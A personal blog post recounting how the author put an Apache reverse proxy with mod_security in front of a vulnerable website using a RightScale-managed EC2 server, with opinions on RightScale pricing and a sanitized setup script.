GFK's Palace

This time I was at work, so I witnessed the speed at which they fixed the problem (temporarily again). The server must has been offline for about five minutes. It was fairly quick but everybody was very nervous because they knew that there was still vulnerable code somewhere on the site.

The new reverse proxy was still a few days from being up and running, there was a lot of frowny faces around.

I logged on RightScale, cloned a Ubuntu server that I use for personal projects, created a RightScript to install Apache and configure it with mod_security.

About three hours later I switched the DNS to this reverse proxy and happy faces came back! There are still a few wrinkles to iron out, but more than 99% of the site is working fine -- and safely!

We ran the EC2 server until we got the physical one delivered and configured the way we like. It cost about $30 to run the EC2 server -- and $2000 for the one from HP.

About RightScripts

What makes RightScale rock so much are the RightScripts. I usually refrain from using such a lame trademark for something as simple as a script, but I love this thing so much that I won't mind doing a little PR for them.

My first experiences with EC2 were met with the frustrations that resulted from doing a small change on the AMI config. I'd have to wait about half an hour for the bundling to complete. Then I'd find out that I missed something and I had to bundle the AMI again!

The idea behind RightScripts is that you have a very stable minimal AMI and you install/configure what you want on startup. It takes a couple minutes more to start the server but it's so much simpler!

Another great advantage of RightScript is that they provide a very detailed documentation of the server.

About the only thing that I don't like about RightScale is their pricing model. They offer a free developer account (that part I like) but if you want more service you have to subscribe to their $2500 setup + $500/month service.

While they crave Amazon's fine grained pricing model (you can run servers for hours for a few bucks) their first step is outrageously high. I speculate that this is because their system is not honed enough and that they have to do a lot of fine-tuning for each new customer (they include 8 hours of consulting in their $2500 setup).

Hopefully they will adapt their pricing model for the little guys once their system is flexible enough.

Some code

For those wanting to experiment with this, here's a sanitized version of the rightscript that I use for this reverse proxy.

The Ubuntu image provided by RightScale isn't exactly the way I like it, so I always run this little script when I start an instance:

ln -fs /usr/share/zoneinfo/America/Montreal /etc/localtime
# The EC2 server is on the east cost while mirrors.kernel.org is in San Francisco, use a closer mirror.
perl -p -i -e "s|http://mirrors.kernel.org/ubuntu|http://mirror.anl.gov/pub/ubuntu|g" /etc/apt/sources.list
aptitude -q -y update
aptitude -q -y install libc6-xen
ldconfig -v
# You can check that it worked with: ldd /sbin/init
# It should give something like this (with nosegneg):
# libc.so.6 => /lib/tls/i686/nosegneg/libc.so.6

aptitude -q -y --without-recommends install screen
useradd -m gfk
mkdir /home/gfk/.ssh
cp /root/.ssh/authorized_keys /home/gfk/.ssh/authorized_keys
chown gfk.gfk /home/gfk/.ssh/authorized_keys

I can then move to more interesting tasks like connecting this server to my home network with OpenVPN:

mkdir -p /etc/openvpn
cd /etc/openvpn
wget -q https://s3.amazonaws.com/[...]/rproxy-openvpn.gpg
[decrypt the archive]
aptitude -q -y --without-recommends install openvpn
# aptitude starts openvpn automatically

Then configure Apache as a reverse proxy with mod_proxy, mod_headers and mod_security:

# Install Apache2 dependencies
aptitude -q -y --without-recommends install apache2-threaded-dev libxml2-dev
mkdir -p /mnt/nowhere

# Configure the modules that we need (mod_proxy, mod_rewrite, mod_headers)
/usr/sbin/a2enmod proxy
/usr/sbin/a2enmod proxy_http
rm /etc/apache2/mods-enabled/proxy.conf
/usr/sbin/a2enmod rewrite
/usr/sbin/a2enmod headers

# Install mod_security2
cd /mnt
wget -q https://s3.amazonaws.com/[...]/modsecurity-apache_2.5.4.tar.gz
tar zxf modsecurity-apache_2.5.4.tar.gz
cd modsecurity-apache_2.5.4/apache2
./configure
make
make install

# Configure mod_security2
mkdir -p /etc/apache2/modsecurity
cd /etc/apache2/modsecurity
wget -q https://s3.amazonaws.com/[...]/modsecurity-core-rules_2.5-1.6.1.tar.gz
tar zxf modsecurity-core-rules_2.5-1.6.1.tar.gz
perl -p -i -e "s|SecAuditLog\s+logs/modsec_audit.log|SecAuditLog /var/log/apache2/audit.log|g" /etc/apache2/modsecurity/modsecurity_crs_10_config.conf
perl -p -i -e "s|SecDebugLog\s+logs/modsec_debug.log|SecDebugLog /var/log/apache2/modsec_debug.log|g" /etc/apache2/modsecurity/modsecurity_crs_10_config.conf
perl -p -i -e "s|SecServerSignature \"Apache/2.2.0 \(Fedora\)\"|SecServerSignature \"Apache/2.2 Reverse Proxy\"|g" /etc/apache2/modsecurity/modsecurity_crs_10_config.conf

/usr/sbin/a2dissite 000-default
echo "LoadModule security2_module /usr/lib/apache2/modules/mod_security2.so" > /etc/apache2/mods-available/security2.load
echo "Include /etc/apache2/modsecurity/*.conf" > /etc/apache2/mods-available/security2.conf
/usr/sbin/a2enmod security2
/usr/sbin/a2enmod unique_id

# Configure web sites
cd /etc/apache2/sites-available
wget -q http://s3.amazonaws.com/[...]/rproxy-apache.gpg
[decrypt the archive]
/usr/sbin/a2ensite rproxy

# SSL Site
a2enmod ssl
echo "Listen 443" >> /etc/apache2/ports.conf
a2ensite rproxy-ssl

# Set the default charset
echo "AddDefaultCharset windows-1252" > /etc/apache2/conf.d/charset

# Finish Apache2 installation
aptitude -q -y --without-recommends install apache2